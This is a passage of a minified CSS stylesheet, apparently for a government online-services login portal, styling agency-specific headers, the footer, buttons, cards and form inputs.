.header-logo{left:0;float:left;position:relative;top:22px}}header[role='banner'] .header-logo a{display:inline-block;border-bottom:0;height:35px;width:100%}@media screen and (min-width:768px){header[role='banner'] .header-logo a{height:40px}}header[role='banner'] .header-logo a:hover,header[role='banner'] .header-logo a:active{background:0}header[role='banner'] .header-logo a span{color:#fff}header[role='banner'] .header-logo a .govFont{color:#d7ea6a}header[role='banner'] .header-logo a:focus{outline:0;outline:3px solid #fff;outline-offset:2px;background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}header[role='banner'] .header-logout{background-color:#026540;color:#fff;font-size:1rem;line-height:1.4;padding:11px;position:absolute;right:0;text-decoration:none;top:16px;margin:1px;width:5.5em;height:auto;-webkit-appearance:button;-moz-appearance:button;-o-appearance:button;-ms-appearance:button;appearance:button}header[role='banner'] .header-logout:before{margin-left:1em}header[role='banner'] .header-logout:after{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:44px;border:2px solid #fff}header[role='banner'] .header-logout:hover,header[role='banner'] .header-logout:focus{border:2px solid;text-decoration:underline;background:0}header[role='banner'] .header-logout:focus{outline:3px solid #fff;background-color:#01462c}header[role='banner'] .header-logout:hover{border-color:#fff}header[role='banner'] .header-logout:active{-webkit-transition:background-color .05s;transition:background-color .05s;outline:0}header #close{float:right;width:36px}@media screen and (min-width:576px){header #close{width:40px}}header #agency-header-logo{float:left;width:160px}@media screen and (min-width:576px){header #agency-header-logo{width:200px}}.authAppHeader{background-color:#026540;height:64px}.authAppHeader .header-img{color:white}.codeGenHeader{background-color:#026540;height:64px}.codeGenHeader .header-img{color:white}.exchangeHeader{background-color:#026540}.exchangeHeader .header-img{color:white}.clkWapHeader{background-color:black;height:64px}@media screen and (min-width:576px){.clkWapHeader{height:80px}}.clkWapHeader .header-img{color:white}.clkMapHeader{background-color:#4c6b9d;height:64px}@media screen and (min-width:576px){.clkMapHeader{height:80px}}.clkMapHeader .header-img{color:white}.csaHeader{background-color:#6b2482;height:64px}@media screen and (min-width:576px){.csaHeader{height:80px}}.csaHeader .header-img{color:white}.dvaHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.dvaHeader{height:80px}}.dvaHeader .header-img{color:black}.dhhsHeader{background-color:#eee;height:105px}.dhhsHeader .header-img{color:black}@media screen and (min-width:576px){.dhhsHeader{height:120px}}.ehrHeader{background-color:#eee;height:100px}@media screen and (min-width:576px){.ehrHeader{height:120px}}.ehrHeader #agency-header-logo{width:280px}.ehrHeader .header-img{color:black}.jobsHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.jobsHeader{height:80px}}.jobsHeader .header-img{color:black}.mcaHeader{background-color:#018643;height:64px}@media screen and (min-width:576px){.mcaHeader{height:80px}}.mcaHeader .header-img{color:white}.redrHeader{background-color:#eee;height:90px}.redrHeader .header-img{color:black}@media screen and (min-width:576px){.redrHeader{height:100px}}.ndisHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.ndisHeader{height:80px}}.ndisHeader .header-img{color:black}.vicsroHeader{background-color:#eee;height:90px}.vicsroHeader .header-img{color:black}.vicsroHeader #agency-header-logo{width:90px}@media screen and (min-width:576px){.vicsroHeader{height:130px}.vicsroHeader #agency-header-logo{width:150px}}.exchangeHeader{height:64px}.exchangeHeader #agency-header-logo{width:220px}@media screen and (min-width:576px){.exchangeHeader{height:80px}.exchangeHeader #agency-header-logo{width:400px}}.mcaHeader .unauth-grid,.ndisHeader .unauth-grid,.dhhsHeader .unauth-grid,.dvaHeader .unauth-grid,.redrHeader .unauth-grid,.clkWapHeader .unauth-grid,.clkMapHeader .unauth-grid,.authAppHeader .unauth-grid,.codeGenHeader .unauth-grid,.jobsHeader .unauth-grid,.ehrHeader .unauth-grid,.vicsroHeader .unauth-grid,.exchangeHeader .unauth-grid,.csaHeader .unauth-grid{margin-top:1em}.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{position:relative}@media screen and (min-width:992px){.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}.mcaHeader .inner::after,.mcaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .mcaHeader .digital-id-inner::after,.ndisHeader .inner::after,.ndisHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ndisHeader .digital-id-inner::after,.dhhsHeader .inner::after,.dhhsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dhhsHeader .digital-id-inner::after,.dvaHeader .inner::after,.dvaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dvaHeader .digital-id-inner::after,.redrHeader .inner::after,.redrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .redrHeader .digital-id-inner::after,.clkWapHeader .inner::after,.clkWapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkWapHeader .digital-id-inner::after,.clkMapHeader .inner::after,.clkMapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkMapHeader .digital-id-inner::after,.authAppHeader .inner::after,.authAppHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .authAppHeader .digital-id-inner::after,.codeGenHeader .inner::after,.codeGenHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .codeGenHeader .digital-id-inner::after,.jobsHeader .inner::after,.jobsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .jobsHeader .digital-id-inner::after,.ehrHeader .inner::after,.ehrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ehrHeader .digital-id-inner::after,.vicsroHeader .inner::after,.vicsroHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .vicsroHeader .digital-id-inner::after,.exchangeHeader .inner::after,.exchangeHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .exchangeHeader .digital-id-inner::after,.csaHeader .inner::after,.csaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .csaHeader .digital-id-inner::after{clear:both;content:"";display:block}}.mcaHeader .header-img,.ndisHeader .header-img,.dhhsHeader .header-img,.dvaHeader .header-img,.redrHeader .header-img,.clkWapHeader .header-img,.clkMapHeader .header-img,.authAppHeader .header-img,.codeGenHeader .header-img,.jobsHeader .header-img,.ehrHeader .header-img,.vicsroHeader .header-img,.exchangeHeader .header-img,.csaHeader .header-img{display:block}.mcaHeader .unauth-grid-row,.ndisHeader .unauth-grid-row,.dhhsHeader .unauth-grid-row,.dvaHeader .unauth-grid-row,.redrHeader .unauth-grid-row,.clkWapHeader .unauth-grid-row,.clkMapHeader .unauth-grid-row,.authAppHeader .unauth-grid-row,.codeGenHeader .unauth-grid-row,.jobsHeader .unauth-grid-row,.ehrHeader .unauth-grid-row,.vicsroHeader .unauth-grid-row,.exchangeHeader .unauth-grid-row,.csaHeader .unauth-grid-row{text-align:left}.mcaHeader a,.ndisHeader a,.dhhsHeader a,.dvaHeader a,.redrHeader a,.clkWapHeader a,.clkMapHeader a,.authAppHeader a,.codeGenHeader a,.jobsHeader a,.ehrHeader a,.vicsroHeader a,.exchangeHeader a,.csaHeader a{border-bottom:0;float:right;display:block}.mcaHeader a:hover,.ndisHeader a:hover,.dhhsHeader a:hover,.dvaHeader a:hover,.redrHeader a:hover,.clkWapHeader a:hover,.clkMapHeader a:hover,.authAppHeader a:hover,.codeGenHeader a:hover,.jobsHeader a:hover,.ehrHeader a:hover,.vicsroHeader a:hover,.exchangeHeader a:hover,.csaHeader a:hover{background:0}footer[role='contentinfo']{background-color:#eee;border-top:4px solid #333;margin-top:72px}footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}@media screen and (min-width:992px){footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}footer[role='contentinfo'] .inner::after,footer[role='contentinfo'] .unauth .product-description .digital-id-inner::after,.unauth .product-description footer[role='contentinfo'] .digital-id-inner::after{clear:both;content:"";display:block}}footer[role='contentinfo'] ul{margin-bottom:1em;padding:0}footer[role='contentinfo'] li{list-style:none}footer[role='contentinfo'] .footer-logo{border-top:1px solid #999;padding-top:1em;padding-bottom:1em}footer[role='contentinfo'] .footer-links{margin:1em auto}footer[role='contentinfo'] .footer-links ul{-webkit-columns:2;-moz-columns:2;columns:2}footer[role='contentinfo'] .footer-links li{display:block;margin-right:.8em}footer[role='contentinfo'] .footer-links a{display:inline-block;margin-top:5px;color:#0f6493}footer[role='contentinfo'] .map-footer-links{margin:1em auto}footer[role='contentinfo'] .map-footer-links li{display:block}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links li{margin-right:.8em;-webkit-box-flex:0;-webkit-flex:0 1 -webkit-calc(33.33% - .8em);-ms-flex:0 1 calc(33.33% - .8em);flex:0 1 calc(33.33% - .8em)}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+2){text-align:center}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+3),footer[role='contentinfo'] .map-footer-links li:nth-child(2):last-child{margin-left:auto;text-align:right}}footer[role='contentinfo'] .map-footer-links a{display:inline-block;margin-top:5px;color:#0f6493}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links ul{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-0.8em}}.badge{border:1px solid #999;border-radius:4px;display:inline-block;padding:.2em .5em}.beta-badge{background-color:#fff;color:#0f6493;font-size:12px;font-weight:900;letter-spacing:2px;padding-left:9px;padding-right:7px;padding-top:2px;padding-bottom:2px;border-radius:50em}#back-to-top{position:relative}#back-to-top:hover,#back-to-top:active{color:#fff;background-color:#0f6493;text-decoration:none}#back-to-top::after{background-image:url("../icons/panel-icon.svg");background-position:50% 50%;background-repeat:no-repeat;position:absolute;height:1.6em;width:1.25em;right:-1.25em;top:0;content:''}.callout-2{background-color:#ebf5fb;padding:1em;border-top:4px solid #0f6493;position:relative;margin-top:1.2em}.callout-2 img#lightbulbicon{max-width:40px;vertical-align:middle}.callout-3{background-color:#ebf5fb;padding-left:1em;padding-bottom:1em;position:relative;margin-top:1.2em}.callout-3 img#infoicon{max-width:40px;margin-right:.5em}.callout-3 p{margin:0}.callout-3 h3,.callout-3 #poro-form #modal-title,#poro-form .callout-3 #modal-title,.callout-3 .poro-form #modal-title,.poro-form .callout-3 #modal-title{margin-left:0}.callout-dxp-block{color:white;background-color:#183052}.callout-dxp{margin:2em;position:relative;max-width:900px}@media screen and (min-width:992px){.callout-dxp{margin:auto}}.callout-dxp h3,.callout-dxp #poro-form #modal-title,#poro-form .callout-dxp #modal-title,.callout-dxp .poro-form #modal-title,.poro-form .callout-dxp #modal-title{margin:2em 0 1em 0}.callout-dxp img{display:block}@media screen and (min-width:768px){.callout-dxp img{margin:2.5em;float:right}}.callout-dxp p{margin:0}.callout-dxp a{margin:1em 0 2em 0;color:white;border-bottom:solid 1px white}.callout-dxp-static{margin:0}.callout-dxp-static h3,.callout-dxp-static #poro-form #modal-title,#poro-form .callout-dxp-static #modal-title,.callout-dxp-static .poro-form #modal-title,.poro-form .callout-dxp-static #modal-title{margin:2em 0 1em 0}.callout-dxp-static p{margin:0}.callout-dxp-static a{margin:1em 0 2em 0}.did-you-know-title{font-weight:bold;font-size:1.1em;margin-bottom:0;margin-left:.5em;margin-top:0;vertical-align:middle;display:inline-block}button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{-webkit-appearance:none;-moz-appearance:none;appearance:none;display:inline-block;height:3.2em;margin:0 1.6em .8em 0;padding:.8em 1.6em;border-radius:1px;border-width:1px;border-style:solid;border-color:inherit;outline:0;text-decoration:none;font-size:1.125rem;width:100%;text-align:center;position:relative}@media screen and (min-width:992px){button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{width:auto}}button[disabled],button.disabled,.button[disabled],.button.disabled,[role='button'][disabled],[role='button'].disabled,[type='submit'][disabled],[type='submit'].disabled,[type='reset'][disabled],[type='reset'].disabled,[type='button'][disabled],[type='button'].disabled{color:#fff}button[disabled],button[disabled]:hover,button[disabled]:active,button[disabled]:focus,button.disabled,button.disabled:hover,button.disabled:active,button.disabled:focus,.button[disabled],.button[disabled]:hover,.button[disabled]:active,.button[disabled]:focus,.button.disabled,.button.disabled:hover,.button.disabled:active,.button.disabled:focus,[role='button'][disabled],[role='button'][disabled]:hover,[role='button'][disabled]:active,[role='button'][disabled]:focus,[role='button'].disabled,[role='button'].disabled:hover,[role='button'].disabled:active,[role='button'].disabled:focus,[type='submit'][disabled],[type='submit'][disabled]:hover,[type='submit'][disabled]:active,[type='submit'][disabled]:focus,[type='submit'].disabled,[type='submit'].disabled:hover,[type='submit'].disabled:active,[type='submit'].disabled:focus,[type='reset'][disabled],[type='reset'][disabled]:hover,[type='reset'][disabled]:active,[type='reset'][disabled]:focus,[type='reset'].disabled,[type='reset'].disabled:hover,[type='reset'].disabled:active,[type='reset'].disabled:focus,[type='button'][disabled],[type='button'][disabled]:hover,[type='button'][disabled]:active,[type='button'][disabled]:focus,[type='button'].disabled,[type='button'].disabled:hover,[type='button'].disabled:active,[type='button'].disabled:focus{cursor:pointer;color:#fff}.button-digital-id-container{display:inline-block;width:100%}.button-digital-id-container .button-digital-id{display:inline-table}.button-digital-id-container .button,.button-digital-id-container button,.button-digital-id-container a{width:100%;padding:.8em 0}.button-digital-id-main-container{margin-top:.5em}@media screen and (min-width:320px){.button-digital-id-main-container{margin-top:2em}}.button-container,.button-digital-id-main-container,.button-container-nomargin{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap-full-width .button,.button-container-mapwap-full-width button,.button-container-mapwap-full-width a{margin-top:2em;width:100%}.button-container-mapwap-full-width .button-main,.button-container-mapwap-full-width .button-minor,.button-container-mapwap-full-width button-main,.button-container-mapwap-full-width button-minor,.button-container-mapwap-full-width a-main,.button-container-mapwap-full-width a-minor{width:100%}.button-container-exchange-web-login .button,.button-container-exchange-web-login button,.button-container-exchange-web-login a{margin-top:2em;width:100%;font-size:1em;padding:.5em 0}.button-container-exchange-web-login .button-main,.button-container-exchange-web-login .button-minor,.button-container-exchange-web-login button-main,.button-container-exchange-web-login button-minor,.button-container-exchange-web-login a-main,.button-container-exchange-web-login a-minor{width:100%}.button-container-mapwap{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap .button{padding:.7em;width:46%}.button-container-mapwap .button:nth-child(2){margin-right:0;float:right}.button-container-centered{display:block}.button-container-centered .button:first-child,.button-container-centered button:first-child{display:block;margin:0 auto}.button-container-nomargin{margin:0}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){margin-right:0;float:right}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{width:43%;padding:.7em}.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{width:auto;height:auto;padding:.7em;display:block}@media screen and (min-width:576px){.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{display:inline-block}}.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-top:1em;margin-left:0}@media screen and (min-width:576px){.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-left:1em;margin-top:0}}@media screen and (min-width:768px){.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button,.button-container button,.button-digital-id-main-container button,.button-container-nomargin button{height:3em;width:auto;margin-right:1.6em}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){float:none}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{padding-right:1.6em;padding-left:1.6em}}.button-container button:first-child,.button-digital-id-main-container button:first-child,.button-container-nomargin button:first-child{margin-bottom:1.2em}.button-container+button,.button-digital-id-main-container+button,.button-container-nomargin+button{float:right;margin:0}.button-container .digital-id-button-container button:first-child,.button-digital-id-main-container .digital-id-button-container button:first-child,.button-container-nomargin .digital-id-button-container button:first-child{margin-bottom:0}.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{color:#fff;height:3em;width:100%;border:1px solid transparent;-webkit-font-smoothing:antialiased;text-align:center;margin:1px;position:relative}@media screen and (min-width:576px){.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{width:auto;padding-left:3em;padding-right:3em}}.button-main:hover,.button-minor:hover,.button-danger:hover,.button-modal-main:hover,.button-digital-id-toggle:hover{text-decoration:underline}.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active{text-decoration:underline}.button-digital-id-toggle{height:auto}@media(max-width:320px){.button-digital-id-toggle{padding-left:0;padding-right:0}}.button-main,.button-modal-main,.button-digital-id-toggle{background-color:#333}.button-main:active,.button-main:hover,.button-main:focus,.button-modal-main:active,.button-modal-main:hover,.button-modal-main:focus,.button-digital-id-toggle:active,.button-digital-id-toggle:hover,.button-digital-id-toggle:focus{background-color:#222}.button-digital-id{color:#fff;background-color:#0f6493}.button-digital-id:active,.button-digital-id:hover,.button-digital-id:focus{background-color:#08537d}.button-main-mapwap{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:.3125rem;color:#fff;font-size:1rem;font-weight:500;min-width:10rem;border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0;width:100%}.button-main-mapwap:hover{text-decoration:none;background-color:#183052;color:#fff}.button-main-mapwap:focus{background-color:#183052;outline:.25rem solid #183052;outline-offset:.125rem}.button-main-mapwap:hover{color:#fff;background-color:#254a7e}.button-main-mapwap:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}.button-minor{color:#333;background-color:#fff;margin:1px;border:1px solid #999}.button-minor:active,.button-minor:focus{background-color:#eee}.button-minor:hover{border-color:#333;background-color:#fff;color:#333}.button-danger{background-color:#b7202d}.button-danger:active,.button-danger:hover,.button-danger:focus{background-color:#a11c28}.button-tertiary{color:#0f6493;text-align:center;display:block}@media screen and (min-width:576px){.button-tertiary{width:initial;padding:.8em 3em;display:inline-block}}.anchor{border:0;white-space:normal;display:inline-block;font:inherit;margin:0;padding:0;outline:0;outline-offset:0;color:#0f6493;cursor:pointer;background-color:white;text-decoration:underline;text-align:center;width:auto;height:auto}.anchor:hover{color:#fff;background-color:#0f6493}.anchor:focus{background-color:#fff;color:#0f6493}body>main button,body>main .button,body>main [role='button'],body>main [type='submit'],body>main [type='reset'],body>main [type='button']{background-color:#333;color:#fff;border-color:#333;text-align:center}body>main button:before,body>main .button:before,body>main [role='button']:before,body>main [type='submit']:before,body>main [type='reset']:before,body>main [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}body>main button:hover,body>main button:focus,body>main .button:hover,body>main .button:focus,body>main [role='button']:hover,body>main [role='button']:focus,body>main [type='submit']:hover,body>main [type='submit']:focus,body>main [type='reset']:hover,body>main [type='reset']:focus,body>main [type='button']:hover,body>main [type='button']:focus{background-color:#333;color:#fff}body>main button:active,body>main .button:active,body>main [role='button']:active,body>main [type='submit']:active,body>main [type='reset']:active,body>main [type='button']:active{background-color:#222}footer[role='contentinfo'] button,footer[role='contentinfo'] .button,footer[role='contentinfo'] [role='button'],footer[role='contentinfo'] [type='submit'],footer[role='contentinfo'] [type='reset'],footer[role='contentinfo'] [type='button']{background-color:transparent;color:#333;border-color:#333;text-align:center}footer[role='contentinfo'] button:before,footer[role='contentinfo'] .button:before,footer[role='contentinfo'] [role='button']:before,footer[role='contentinfo'] [type='submit']:before,footer[role='contentinfo'] [type='reset']:before,footer[role='contentinfo'] [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}footer[role='contentinfo'] button:hover,footer[role='contentinfo'] button:focus,footer[role='contentinfo'] .button:hover,footer[role='contentinfo'] .button:focus,footer[role='contentinfo'] [role='button']:hover,footer[role='contentinfo'] [role='button']:focus,footer[role='contentinfo'] [type='submit']:hover,footer[role='contentinfo'] [type='submit']:focus,footer[role='contentinfo'] [type='reset']:hover,footer[role='contentinfo'] [type='reset']:focus,footer[role='contentinfo'] [type='button']:hover,footer[role='contentinfo'] [type='button']:focus{background-color:#333;color:#fff}footer[role='contentinfo'] button:active,footer[role='contentinfo'] .button:active,footer[role='contentinfo'] [role='button']:active,footer[role='contentinfo'] [type='submit']:active,footer[role='contentinfo'] [type='reset']:active,footer[role='contentinfo'] [type='button']:active{background-color:#222}.button-back{display:inline-block;position:relative;margin-left:1em;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-back:before{content:'';position:absolute;top:-6px;right:2.7em;display:block;width:1.2em;height:2em;background-repeat:no-repeat;background-position:right .4em;background-size:1.125em auto;background-image:url("../icons/chevron-left.svg")}.button-back:hover,.button-back:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-close{display:inline-block;position:relative;margin-left:0;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-close:hover,.button-close:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-back-home:before{right:6.7em}.expand,.dismiss{background-color:transparent;background-position:center center;background-repeat:no-repeat;border:0;right:0;position:absolute;top:0;width:auto}.expand{background-image:url("../icons/error-down.svg")}.dismiss{background-image:url("../icons/dismiss-x.svg")}.help-info-button{all:initial;font-family:inherit;display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;font-size:inherit;line-height:inherit}.help-info-button::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-button[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-button:hover{color:#fff;background-color:#0f6493;text-decoration:none}.card-grid .card-tile{width:100%}@media screen and (min-width:576px){.card-grid{-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.card-grid .card-tile{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-box-flex:0;-webkit-flex:0 1 49%;-ms-flex:0 1 49%;flex:0 1 49%;margin-right:2%}.card-grid .card-tile:nth-child(2n){margin-right:0;border-right:0}}@media screen and (min-width:992px){.card-grid .card-tile{-webkit-box-flex:0;-webkit-flex:0 1 32%;-ms-flex:0 1 32%;flex:0 1 32%}.card-grid .card-tile:nth-child(2n){margin-right:2%}.card-grid .card-tile:nth-child(3n){margin-right:0;border-right:0}}.card{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:16px;padding:1rem;position:relative;text-align:center;text-decoration:none}.card:hover,.card:active{background-color:#fff;color:#333}.card:active{border-color:#ccc}.card img{color:#333;height:60px;width:90%}.card__title{background-color:#eee;bottom:0;display:block;left:0;padding:8px 4px 8px 4px;position:absolute;width:100%;font-size:16px;border-top:1px solid #ccc;height:60px}.card__title span{position:relative;top:50%;display:block;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.card:hover .card__title,.card:active .card__title{text-decoration:underline}.card:active .card__title{background-color:#ccc}.card--link{background-color:#eee;background-image:url("../icons/link-service.svg");background-position:center 25%;background-repeat:no-repeat;border-color:#026540;color:#fff}.card--link .card__title{background-color:#026540}.card--link:hover,.card--link:active{background-color:#eee;color:#fff}.card--link:active{border-color:#027e50}.card--link:active .card__title{background-color:#027e50}.card--quicklinks{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:1em;padding:.5em;position:relative;text-align:left;text-decoration:none;width:100%}@media screen and (min-width:992px){.card--quicklinks{width:32%}}.card--quicklinks h3,.card--quicklinks #poro-form #modal-title,#poro-form .card--quicklinks #modal-title,.card--quicklinks .poro-form #modal-title,.poro-form .card--quicklinks #modal-title{margin:0}.card--quicklinks .info{display:block}@media screen and (min-width:576px){.card--quicklinks .info{margin-bottom:1em}}@media screen and (min-width:576px){.card--quicklinks .notlinked{display:block}}.card--quicklinks .linked{display:block;margin-top:1em}.card--quicklinks img{padding-top:.4em;margin-left:.5em;height:1.5em;position:absolute}.card--quicklinks .quicklinks-arrow{display:inline}form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{width:100%;border:1px solid #999;border-radius:0;background-color:#fff;padding:.7em;display:block;margin:6px 0 6px;overflow:visible;max-width:42em}form [type='text']::-ms-clear,form [type='number']::-ms-clear,form [type='tel']::-ms-clear,form [type='email']::-ms-clear,form [type='password']::-ms-clear,form textarea::-ms-clear,form [type='radio']::-ms-clear,form [type='checkbox']::-ms-clear{display:none}@media screen and (min-width:576px){form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{max-width:42em}}form [type='text']:disabled,form [type='number']:disabled,form [type='tel']:disabled,form [type='email']:disabled,form [type='password']:disabled,form textarea:disabled,form [type='radio']:disabled,form [type='checkbox']:disabled,form [disabled][type='text'],form [disabled][type='number'],form [disabled][type='tel'],form [disabled][type='email'],form [disabled][type='password'],form textarea[disabled],form [disabled][type='radio'],form [disabled][type='checkbox']{cursor:not-allowed;background:#ccc;border:2px solid #ccc}.help-text{color:#666;font-size:.9rem}.hidden{display:none}.security-code,input.security-code{width:12em}input.medium-field{width:20em}form fieldset,form p{margin:1.2em 0 1.2em 0;padding:0;border:0}form 